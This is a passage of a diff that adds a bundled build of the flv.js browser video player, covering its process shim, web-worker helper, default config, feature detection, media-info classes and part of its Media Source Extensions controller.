+ return cachedSetTimeout.call(null, fun, 0); + } catch(e){ + // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error + return cachedSetTimeout.call(this, fun, 0); + } + } + + + } + function runClearTimeout(marker) { + if (cachedClearTimeout === clearTimeout) { + //normal enviroments in sane situations + return clearTimeout(marker); + } + // if clearTimeout wasn't available but was latter defined + if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) { + cachedClearTimeout = clearTimeout; + return clearTimeout(marker); + } + try { + // when when somebody has screwed with setTimeout but no I.E. maddness + return cachedClearTimeout(marker); + } catch (e){ + try { + // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally + return cachedClearTimeout.call(null, marker); + } catch (e){ + // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error. + // Some versions of I.E. have different rules for clearTimeout vs setTimeout + return cachedClearTimeout.call(this, marker); + } + } + + + + } + var queue = []; + var draining = false; + var currentQueue; + var queueIndex = -1; + + function cleanUpNextTick() { + if (!draining || !currentQueue) { + return; + } + draining = false; + if (currentQueue.length) { + queue = currentQueue.concat(queue); + } else { + queueIndex = -1; + } + if (queue.length) { + drainQueue(); + } + } + + function drainQueue() { + if (draining) { + return; + } + var timeout = runTimeout(cleanUpNextTick); + draining = true; + + var len = queue.length; + while(len) { + currentQueue = queue; + queue = []; + while (++queueIndex < len) { + if (currentQueue) { + currentQueue[queueIndex].run(); + } + } + queueIndex = -1; + len = queue.length; + } + currentQueue = null; + draining = false; + runClearTimeout(timeout); + } + + process.nextTick = function (fun) { + var args = new Array(arguments.length - 1); + if (arguments.length > 1) { + for (var i = 1; i < arguments.length; i++) { + args[i - 1] = arguments[i]; + } + } + queue.push(new Item(fun, args)); + if (queue.length === 1 && !draining) { + runTimeout(drainQueue); + } + }; + +// v8 likes predictible objects + function Item(fun, array) { + this.fun = fun; + this.array = array; + } + Item.prototype.run = function () { + this.fun.apply(null, this.array); + }; + process.title = 'browser'; + process.browser = true; + process.env = {}; + process.argv = []; + process.version = ''; // empty string to avoid regexp issues + process.versions = {}; + + function noop() {} + + process.on = noop; + process.addListener = noop; + process.once = noop; + process.off = noop; + process.removeListener = noop; + process.removeAllListeners = noop; + process.emit = noop; + process.prependListener = noop; + process.prependOnceListener = noop; + + process.listeners = function (name) { return [] } + + process.binding = function (name) { + throw new Error('process.binding is not supported'); + }; + + process.cwd = function () { return '/' }; + process.chdir = function (dir) { + throw new Error('process.chdir is not supported'); + }; + process.umask = function() { return 0; }; + +},{}],4:[function(_dereq_,module,exports){ + var bundleFn = arguments[3]; + var sources = arguments[4]; + var cache = arguments[5]; + + var stringify = JSON.stringify; + + module.exports = function (fn, options) { + var wkey; + var cacheKeys = Object.keys(cache); + + for (var i = 0, l = cacheKeys.length; i < l; i++) { + var key = cacheKeys[i]; + var exp = cache[key].exports; + // Using babel as a transpiler to use esmodule, the export will always + // be an object with the default export as a property of it. To ensure + // the existing api and babel esmodule exports are both supported we + // check for both + if (exp === fn || exp && exp.default === fn) { + wkey = key; + break; + } + } + + if (!wkey) { + wkey = Math.floor(Math.pow(16, 8) * Math.random()).toString(16); + var wcache = {}; + for (var i = 0, l = cacheKeys.length; i < l; i++) { + var key = cacheKeys[i]; + wcache[key] = key; + } + sources[wkey] = [ + 'function(require,module,exports){' + fn + '(self); }', + wcache + ]; + } + var skey = Math.floor(Math.pow(16, 8) * Math.random()).toString(16); + + var scache = {}; scache[wkey] = wkey; + sources[skey] = [ + 'function(require,module,exports){' + + // try to call default if defined to also support babel esmodule exports + 'var f = require(' + stringify(wkey) + ');' + + '(f.default ? f.default : f)(self);' + + '}', + scache + ]; + + var workerSources = {}; + resolveSources(skey); + + function resolveSources(key) { + workerSources[key] = true; + + for (var depPath in sources[key][1]) { + var depKey = sources[key][1][depPath]; + if (!workerSources[depKey]) { + resolveSources(depKey); + } + } + } + + var src = '(' + bundleFn + ')({' + + Object.keys(workerSources).map(function (key) { + return stringify(key) + ':[' + + sources[key][0] + + ',' + stringify(sources[key][1]) + ']' + ; + }).join(',') + + '},{},[' + stringify(skey) + '])' + ; + + var URL = window.URL || window.webkitURL || window.mozURL || window.msURL; + + var blob = new Blob([src], { type: 'text/javascript' }); + if (options && options.bare) { return blob; } + var workerUrl = URL.createObjectURL(blob); + var worker = new Worker(workerUrl); + worker.objectURL = workerUrl; + return worker; + }; + +},{}],5:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.createDefaultConfig = createDefaultConfig; + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var defaultConfig = exports.defaultConfig = { + enableWorker: false, + enableStashBuffer: true, + stashInitialSize: undefined, + + isLive: false, + + lazyLoad: true, + lazyLoadMaxDuration: 3 * 60, + lazyLoadRecoverDuration: 30, + deferLoadAfterSourceOpen: true, + + // autoCleanupSourceBuffer: default as false, leave unspecified + autoCleanupMaxBackwardDuration: 3 * 60, + autoCleanupMinBackwardDuration: 2 * 60, + + statisticsInfoReportInterval: 600, + + fixAudioTimestampGap: true, + + accurateSeek: false, + seekType: 'range', // [range, param, custom] + seekParamStart: 'bstart', + seekParamEnd: 'bend', + rangeLoadZeroStart: false, + customSeekHandler: undefined, + reuseRedirectedURL: false, + // referrerPolicy: leave as unspecified + + headers: undefined, + customLoader: undefined + }; + + function createDefaultConfig() { + return Object.assign({}, defaultConfig); + } + +},{}],6:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _ioController = _dereq_('../io/io-controller.js'); + + var _ioController2 = _interopRequireDefault(_ioController); + + var _config = _dereq_('../config.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var Features = function () { + function Features() { + _classCallCheck(this, Features); + } + + _createClass(Features, null, [{ + key: 'supportMSEH264Playback', + value: function supportMSEH264Playback() { + return window.MediaSource && window.MediaSource.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"'); + } + }, { + key: 'supportNetworkStreamIO', + value: function supportNetworkStreamIO() { + var ioctl = new _ioController2.default({}, (0, _config.createDefaultConfig)()); + var loaderType = ioctl.loaderType; + ioctl.destroy(); + return loaderType == 'fetch-stream-loader' || loaderType == 'xhr-moz-chunked-loader'; + } + }, { + key: 'getNetworkLoaderTypeName', + value: function getNetworkLoaderTypeName() { + var ioctl = new _ioController2.default({}, (0, _config.createDefaultConfig)()); + var loaderType = ioctl.loaderType; + ioctl.destroy(); + return loaderType; + } + }, { + key: 'supportNativeMediaPlayback', + value: function supportNativeMediaPlayback(mimeType) { + if (Features.videoElement == undefined) { + Features.videoElement = window.document.createElement('video'); + } + var canPlay = Features.videoElement.canPlayType(mimeType); + return canPlay === 'probably' || canPlay == 'maybe'; + } + }, { + key: 'getFeatureList', + value: function getFeatureList() { + var features = { + mseFlvPlayback: false, + mseLiveFlvPlayback: false, + networkStreamIO: false, + networkLoaderName: '', + nativeMP4H264Playback: false, + nativeWebmVP8Playback: false, + nativeWebmVP9Playback: false + }; + + features.mseFlvPlayback = Features.supportMSEH264Playback(); + features.networkStreamIO = Features.supportNetworkStreamIO(); + features.networkLoaderName = Features.getNetworkLoaderTypeName(); + features.mseLiveFlvPlayback = features.mseFlvPlayback && features.networkStreamIO; + features.nativeMP4H264Playback = Features.supportNativeMediaPlayback('video/mp4; codecs="avc1.42001E, mp4a.40.2"'); + features.nativeWebmVP8Playback = Features.supportNativeMediaPlayback('video/webm; codecs="vp8.0, vorbis"'); + features.nativeWebmVP9Playback = Features.supportNativeMediaPlayback('video/webm; codecs="vp9"'); + + return features; + } + }]); + + return Features; + }(); + + exports.default = Features; + +},{"../config.js":5,"../io/io-controller.js":23}],7:[function(_dereq_,module,exports){ + "use strict"; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var MediaInfo = function () { + function MediaInfo() { + _classCallCheck(this, MediaInfo); + + this.mimeType = null; + this.duration = null; + + this.hasAudio = null; + this.hasVideo = null; + this.audioCodec = null; + this.videoCodec = null; + this.audioDataRate = null; + this.videoDataRate = null; + + this.audioSampleRate = null; + this.audioChannelCount = null; + + this.width = null; + this.height = null; + this.fps = null; + this.profile = null; + this.level = null; + this.refFrames = null; + this.chromaFormat = null; + this.sarNum = null; + this.sarDen = null; + + this.metadata = null; + this.segments = null; // MediaInfo[] + this.segmentCount = null; + this.hasKeyframesIndex = null; + this.keyframesIndex = null; + } + + _createClass(MediaInfo, [{ + key: "isComplete", + value: function isComplete() { + var audioInfoComplete = this.hasAudio === false || this.hasAudio === true && this.audioCodec != null && this.audioSampleRate != null && this.audioChannelCount != null; + + var videoInfoComplete = this.hasVideo === false || this.hasVideo === true && this.videoCodec != null && this.width != null && this.height != null && this.fps != null && this.profile != null && this.level != null && this.refFrames != null && this.chromaFormat != null && this.sarNum != null && this.sarDen != null; + + // keyframesIndex may not be present + return this.mimeType != null && this.duration != null && this.metadata != null && this.hasKeyframesIndex != null && audioInfoComplete && videoInfoComplete; + } + }, { + key: "isSeekable", + value: function isSeekable() { + return this.hasKeyframesIndex === true; + } + }, { + key: "getNearestKeyframe", + value: function getNearestKeyframe(milliseconds) { + if (this.keyframesIndex == null) { + return null; + } + + var table = this.keyframesIndex; + var keyframeIdx = this._search(table.times, milliseconds); + + return { + index: keyframeIdx, + milliseconds: table.times[keyframeIdx], + fileposition: table.filepositions[keyframeIdx] + }; + } + }, { + key: "_search", + value: function _search(list, value) { + var idx = 0; + + var last = list.length - 1; + var mid = 0; + var lbound = 0; + var ubound = last; + + if (value < list[0]) { + idx = 0; + lbound = ubound + 1; // skip search + } + + while (lbound <= ubound) { + mid = lbound + Math.floor((ubound - lbound) / 2); + if (mid === last || value >= list[mid] && value < list[mid + 1]) { + idx = mid; + break; + } else if (list[mid] < value) { + lbound = mid + 1; + } else { + ubound = mid - 1; + } + } + + return idx; + } + }]); + + return MediaInfo; + }(); + + exports.default = MediaInfo; + +},{}],8:[function(_dereq_,module,exports){ + "use strict"; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// Represents an media sample (audio / video) + var SampleInfo = exports.SampleInfo = function SampleInfo(dts, pts, duration, originalDts, isSync) { + _classCallCheck(this, SampleInfo); + + this.dts = dts; + this.pts = pts; + this.duration = duration; + this.originalDts = originalDts; + this.isSyncPoint = isSync; + this.fileposition = null; + }; + +// Media Segment concept is defined in Media Source Extensions spec. +// Particularly in ISO BMFF format, an Media Segment contains a moof box followed by a mdat box. + + + var MediaSegmentInfo = exports.MediaSegmentInfo = function () { + function MediaSegmentInfo() { + _classCallCheck(this, MediaSegmentInfo); + + this.beginDts = 0; + this.endDts = 0; + this.beginPts = 0; + this.endPts = 0; + this.originalBeginDts = 0; + this.originalEndDts = 0; + this.syncPoints = []; // SampleInfo[n], for video IDR frames only + this.firstSample = null; // SampleInfo + this.lastSample = null; // SampleInfo + } + + _createClass(MediaSegmentInfo, [{ + key: "appendSyncPoint", + value: function appendSyncPoint(sampleInfo) { + // also called Random Access Point + sampleInfo.isSyncPoint = true; + this.syncPoints.push(sampleInfo); + } + }]); + + return MediaSegmentInfo; + }(); + +// Ordered list for recording video IDR frames, sorted by originalDts + + + var IDRSampleList = exports.IDRSampleList = function () { + function IDRSampleList() { + _classCallCheck(this, IDRSampleList); + + this._list = []; + } + + _createClass(IDRSampleList, [{ + key: "clear", + value: function clear() { + this._list = []; + } + }, { + key: "appendArray", + value: function appendArray(syncPoints) { + var list = this._list; + + if (syncPoints.length === 0) { + return; + } + + if (list.length > 0 && syncPoints[0].originalDts < list[list.length - 1].originalDts) { + this.clear(); + } + + Array.prototype.push.apply(list, syncPoints); + } + }, { + key: "getLastSyncPointBeforeDts", + value: function getLastSyncPointBeforeDts(dts) { + if (this._list.length == 0) { + return null; + } + + var list = this._list; + var idx = 0; + var last = list.length - 1; + var mid = 0; + var lbound = 0; + var ubound = last; + + if (dts < list[0].dts) { + idx = 0; + lbound = ubound + 1; + } + + while (lbound <= ubound) { + mid = lbound + Math.floor((ubound - lbound) / 2); + if (mid === last || dts >= list[mid].dts && dts < list[mid + 1].dts) { + idx = mid; + break; + } else if (list[mid].dts < dts) { + lbound = mid + 1; + } else { + ubound = mid - 1; + } + } + return this._list[idx]; + } + }]); + + return IDRSampleList; + }(); + +// Data structure for recording information of media segments in single track. + + + var MediaSegmentInfoList = exports.MediaSegmentInfoList = function () { + function MediaSegmentInfoList(type) { + _classCallCheck(this, MediaSegmentInfoList); + + this._type = type; + this._list = []; + this._lastAppendLocation = -1; // cached last insert location + } + + _createClass(MediaSegmentInfoList, [{ + key: "isEmpty", + value: function isEmpty() { + return this._list.length === 0; + } + }, { + key: "clear", + value: function clear() { + this._list = []; + this._lastAppendLocation = -1; + } + }, { + key: "_searchNearestSegmentBefore", + value: function _searchNearestSegmentBefore(originalBeginDts) { + var list = this._list; + if (list.length === 0) { + return -2; + } + var last = list.length - 1; + var mid = 0; + var lbound = 0; + var ubound = last; + + var idx = 0; + + if (originalBeginDts < list[0].originalBeginDts) { + idx = -1; + return idx; + } + + while (lbound <= ubound) { + mid = lbound + Math.floor((ubound - lbound) / 2); + if (mid === last || originalBeginDts > list[mid].lastSample.originalDts && originalBeginDts < list[mid + 1].originalBeginDts) { + idx = mid; + break; + } else if (list[mid].originalBeginDts < originalBeginDts) { + lbound = mid + 1; + } else { + ubound = mid - 1; + } + } + return idx; + } + }, { + key: "_searchNearestSegmentAfter", + value: function _searchNearestSegmentAfter(originalBeginDts) { + return this._searchNearestSegmentBefore(originalBeginDts) + 1; + } + }, { + key: "append", + value: function append(mediaSegmentInfo) { + var list = this._list; + var msi = mediaSegmentInfo; + var lastAppendIdx = this._lastAppendLocation; + var insertIdx = 0; + + if (lastAppendIdx !== -1 && lastAppendIdx < list.length && msi.originalBeginDts >= list[lastAppendIdx].lastSample.originalDts && (lastAppendIdx === list.length - 1 || lastAppendIdx < list.length - 1 && msi.originalBeginDts < list[lastAppendIdx + 1].originalBeginDts)) { + insertIdx = lastAppendIdx + 1; // use cached location idx + } else { + if (list.length > 0) { + insertIdx = this._searchNearestSegmentBefore(msi.originalBeginDts) + 1; + } + } + + this._lastAppendLocation = insertIdx; + this._list.splice(insertIdx, 0, msi); + } + }, { + key: "getLastSegmentBefore", + value: function getLastSegmentBefore(originalBeginDts) { + var idx = this._searchNearestSegmentBefore(originalBeginDts); + if (idx >= 0) { + return this._list[idx]; + } else { + // -1 + return null; + } + } + }, { + key: "getLastSampleBefore", + value: function getLastSampleBefore(originalBeginDts) { + var segment = this.getLastSegmentBefore(originalBeginDts); + if (segment != null) { + return segment.lastSample; + } else { + return null; + } + } + }, { + key: "getLastSyncPointBefore", + value: function getLastSyncPointBefore(originalBeginDts) { + var segmentIdx = this._searchNearestSegmentBefore(originalBeginDts); + var syncPoints = this._list[segmentIdx].syncPoints; + while (syncPoints.length === 0 && segmentIdx > 0) { + segmentIdx--; + syncPoints = this._list[segmentIdx].syncPoints; + } + if (syncPoints.length > 0) { + return syncPoints[syncPoints.length - 1]; + } else { + return null; + } + } + }, { + key: "type", + get: function get() { + return this._type; + } + }, { + key: "length", + get: function get() { + return this._list.length; + } + }]); + + return MediaSegmentInfoList; + }(); + +},{}],9:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _browser = _dereq_('../utils/browser.js'); + + var _browser2 = _interopRequireDefault(_browser); + + var _mseEvents = _dereq_('./mse-events.js'); + + var _mseEvents2 = _interopRequireDefault(_mseEvents); + + var _mediaSegmentInfo = _dereq_('./media-segment-info.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + +// Media Source Extensions controller + var MSEController = function () { + function MSEController(config) { + _classCallCheck(this, MSEController); + + this.TAG = 'MSEController'; + + this._config = config; + this._emitter = new _events2.default(); + + if (this._config.isLive && this._config.autoCleanupSourceBuffer == undefined) { + // For live stream, do auto cleanup by default + this._config.autoCleanupSourceBuffer = true; + } + + this.e = { + onSourceOpen: this._onSourceOpen.bind(this), + onSourceEnded: this._onSourceEnded.bind(this), + onSourceClose: this._onSourceClose.bind(this), + onSourceBufferError: this._onSourceBufferError.bind(this), + onSourceBufferUpdateEnd: this._onSourceBufferUpdateEnd.bind(this) + }; + + this._mediaSource = null; + this._mediaSourceObjectURL = null; + this._mediaElement = null; + + this._isBufferFull = false; + this._hasPendingEos = false; + + this._requireSetMediaDuration = false; + this._pendingMediaDuration = 0; + + this._pendingSourceBufferInit = []; + this._mimeTypes = { + video: null, + audio: null + }; + this._sourceBuffers = { + video: null, + audio: null + }; + this._lastInitSegments = { + video: null, + audio: null + }; + this._pendingSegments = { + video: [], + audio: [] + }; + this._pendingRemoveRanges = { + video: [], + audio: [] + }; + this._idrList = new _mediaSegmentInfo.IDRSampleList(); + } + + _createClass(MSEController, [{ + key: 'destroy', + value: function destroy() { + if (this._mediaElement || this._mediaSource) { + this.detachMediaElement(); + } + this.e = null; + this._emitter.removeAllListeners(); + this._emitter = null; + } + }, { + key: 'on', + value: function on(event, listener) { + this._emitter.addListener(event, listener); + } + }, { + key: 'off', + value: function off(event, listener) { + this._emitter.removeListener(event, listener); + } + }, { + key: 'attachMediaElement', + value: function attachMediaElement(mediaElement) { + if (this._mediaSource) { + throw new _exception.IllegalStateException('MediaSource has been attached to an HTMLMediaElement!'); + } + var ms = this._mediaSource = new window.MediaSource(); + ms.addEventListener('sourceopen', this.e.onSourceOpen); + ms.addEventListener('sourceended', this.e.onSourceEnded); + ms.addEventListener('sourceclose', this.e.onSourceClose); + + this._mediaElement = mediaElement; + this._mediaSourceObjectURL = window.URL.createObjectURL(this._mediaSource); + mediaElement.src = this._mediaSourceObjectURL; + } + }, { + key: 'detachMediaElement', + value: function detachMediaElement() { + if (this._mediaSource) { + var ms = this._mediaSource; + for (var type in this._sourceBuffers) { + // pending segments should be discard + var ps = this._pendingSegments[type]; + ps.splice(0, ps.length); + this._pendingSegments[type] = null; + this._pendingRemoveRanges[type] = null; + this._lastInitSegments[type] = null; + + // remove all sourcebuffers + var sb = this._sourceBuffers[type]; + if (sb) { + if (ms.readyState !== 'closed') { + // ms edge can throw an error: Unexpected call to method or property access + try { + ms.removeSourceBuffer(sb); + } catch (error) { + _logger2.default.e(this.TAG, error.message); + } + sb.removeEventListener('error', this.e.onSourceBufferError); + sb.removeEventListener('updateend', this.e.onSourceBufferUpdateEnd); + } + this._mimeTypes[type] = null; + this._sourceBuffers[type] = null; + } + } + if (ms.readyState === 'open') { + try { + ms.endOfStream(); + } catch (error) { + _logger2.default.e(this.TAG, error.message); + } + } + ms.removeEventListener('sourceopen', this.e.onSourceOpen); + ms.removeEventListener('sourceended', this.e.onSourceEnded); + ms.removeEventListener('sourceclose', this.e.onSourceClose); + this._pendingSourceBufferInit = []; + this._isBufferFull = false; + this._idrList.clear(); + this._mediaSource = null; + } + + if (this._mediaElement) { + this._mediaElement.src = ''; + this._mediaElement.removeAttribute('src'); + this._mediaElement = null; + } + if (this._mediaSourceObjectURL) { + window.URL.revokeObjectURL(this._mediaSourceObjectURL); + this._mediaSourceObjectURL = null; + } + } + }, { + key: 'appendInitSegment', + value: function appendInitSegment(initSegment, deferred) { + if (!this._mediaSource || this._mediaSource.readyState !== 'open') { + // sourcebuffer creation requires mediaSource.readyState === 'open' + // so we defer the sourcebuffer creation, until sourceopen event triggered + this._pendingSourceBufferInit.push(initSegment); + // make sure that this InitSegment is in the front of pending segments queue + this._pendingSegments[initSegment.type].push(initSegment); + return; + } + + var is = initSegment; + var mimeType = '' + is.container; + if (is.codec && is.codec.length > 0) { + mimeType += ';codecs=' + is.codec; + } + + var firstInitSegment = false; + + _logger2.default.v(this.TAG, 'Received Initialization Segment, mimeType: ' + mimeType); + this._lastInitSegments[is.type] = is; + + if (mimeType !== this._mimeTypes[is.type]) { + if (!this._mimeTypes[is.type]) { + // empty, first chance create sourcebuffer + firstInitSegment = true; + try { + var sb = this._sourceBuffers[is.type] = this._mediaSource.addSourceBuffer(mimeType); + sb.addEventListener('error', this.e.onSourceBufferError); + sb.addEventListener('updateend', this.e.onSourceBufferUpdateEnd); + } catch (error) { + _logger2.default.e(this.TAG, error.message); + this._emitter.emit(_mseEvents2.default.ERROR, { code: error.code, msg: error.message }); + return; + } + } else { + _logger2.default.v(this.TAG, 'Notice: ' + is.type + ' mimeType changed, origin: ' + this._mimeTypes[is.type] + ', target: ' + mimeType); + } + this._mimeTypes[is.type] = mimeType; + } + + if (!deferred) { + // deferred means this InitSegment has been pushed to pendingSegments queue + this._pendingSegments[is.type].push(is); + } + if (!firstInitSegment) { + // append immediately only if init segment in subsequence + if (this._sourceBuffers[is.type] && !this._sourceBuffers[is.type].updating) { + this._doAppendSegments(); + } + } + if (_browser2.default.safari && is.container === 'audio/mpeg' && is.mediaDuration > 0) { + // 'audio/mpeg' track under Safari may cause MediaElement's duration to be NaN + // Manually correct MediaSource.duration to make progress bar seekable, and report right duration + this._requireSetMediaDuration = true; + this._pendingMediaDuration = is.mediaDuration / 1000; // in seconds + this._updateMediaSourceDuration(); + } + } + }, { + key: 'appendMediaSegment', + value: function appendMediaSegment(mediaSegment) { + var ms = mediaSegment; + this._pendingSegments[ms.type].push(ms); + + if (this._config.autoCleanupSourceBuffer && this._needCleanupSourceBuffer()) { + this._doCleanupSourceBuffer(); + } + + var sb = this._sourceBuffers[ms.type]; + if (sb && !sb.updating && !this._hasPendingRemoveRanges()) { + this._doAppendSegments(); + } + } + }, { + key: 'seek', + value: function seek(seconds) { + // remove all appended buffers + for (var type in this._sourceBuffers) { + if (!this._sourceBuffers[type]) { + continue; + } + + // abort current buffer append algorithm + var sb = this._sourceBuffers[type]; + if (this._mediaSource.readyState === 'open') { + try { + // If range removal algorithm is running, InvalidStateError will be throwed + // Ignore it. + sb.abort(); + } catch (error) { + _logger2.default.e(this.TAG, error.message); + } + } + + // IDRList should be clear + this._idrList.clear(); + + // pending segments should be discard + var ps = this._pendingSegments[type]; + ps.splice(0, ps.length); + + if (this._mediaSource.readyState === 'closed') { + // Parent MediaSource object has been detached from HTMLMediaElement + continue; + } + + // record ranges to be remove from SourceBuffer + for (var i = 0; i < sb.buffered.length; i++) { + var start = sb.buffered.start(i); + var end = sb.buffered.end(i); + this._pendingRemoveRanges[type].push({ start: start, end: end }); + } + + // if sb is not updating, let's remove ranges now! + if (!sb.updating) { + this._doRemoveRanges(); + } + + // Safari 10 may get InvalidStateError in the later appendBuffer() after SourceBuffer.remove() call + // Internal parser's state may be invalid at this time. Re-append last InitSegment to workaround. + // Related issue: https://bugs.webkit.org/show_bug.cgi?id=159230 + if (_browser2.default.safari) { + var lastInitSegment = this._lastInitSegments[type]; + if (lastInitSegment) { + this._pendingSegments[type].push(lastInitSegment); + if (!sb.updating) { + this._doAppendSegments(); + } + } + } + } + } + }, { + key: 'endOfStream', + value: function endOfStream() { + var ms = this._mediaSource; + var sb = this._sourceBuffers; + if (!ms || ms.readyState !== 'open') { + if (ms && ms.readyState === 'closed' && this._hasPendingSegments()) { + // If MediaSource hasn't turned into open state, and there're pending segments + // Mark pending endOfStream, defer call until all pending segments appended complete + this._hasPendingEos = true; + } + return; + } + if (sb.video && sb.video.updating || sb.audio && sb.audio.updating) { + // If any sourcebuffer is updating, defer endOfStream operation + // See _onSourceBufferUpdateEnd() + this._hasPendingEos = true; + } else { + this._hasPendingEos = false; + // Notify media data loading complete + // This is helpful for correcting total duration to match last media segment + // Otherwise MediaElement's ended event may not be triggered + ms.endOfStream(); + } + } + }, { + key: 'getNearestKeyframe', + value: function getNearestKeyframe(dts) { + return this._idrList.getLastSyncPointBeforeDts(dts); + } + }, { + key: '_needCleanupSourceBuffer', + value: function _needCleanupSourceBuffer() { + if (!this._config.autoCleanupSourceBuffer) { + return false; + } + + var currentTime = this._mediaElement.currentTime; + + for (var type in this._sourceBuffers) { + var sb = this._sourceBuffers[type]; + if (sb) { + var buffered = sb.buffered; + if (buffered.length >= 1) { + if (currentTime - buffered.start(0) >= this._config.autoCleanupMaxBackwardDuration) { + return true; + } + } + } + } + + return false; + } + }, { + key: '_doCleanupSourceBuffer', + value: function _doCleanupSourceBuffer() { + var currentTime = this._mediaElement.currentTime; + + for (var type in this._sourceBuffers) { + var sb = this._sourceBuffers[type]; + if (sb) { + var buffered = sb.buffered; + var doRemove = false; + + for (var i = 0; i < buffered.length; i++) { + var start = buffered.start(i); + var end = buffered.end(i); + + if (start <= currentTime && currentTime < end + 3) { + // padding 3 seconds + if (currentTime - start >= this._config.autoCleanupMaxBackwardDuration) { + doRemove = true; + var removeEnd = currentTime - this._config.autoCleanupMinBackwardDuration; + this._pendingRemoveRanges[type].push({ start: start, end: removeEnd }); + } + } else if (end < currentTime) { + doRemove = true; + this._pendingRemoveRanges[type].push({ start: start, end: end }); + } + } + + if (doRemove && !sb.updating) { + this._doRemoveRanges(); + } + } + } + } + }, { + key: '_updateMediaSourceDuration', + value: function _updateMediaSourceDuration() { + var sb = 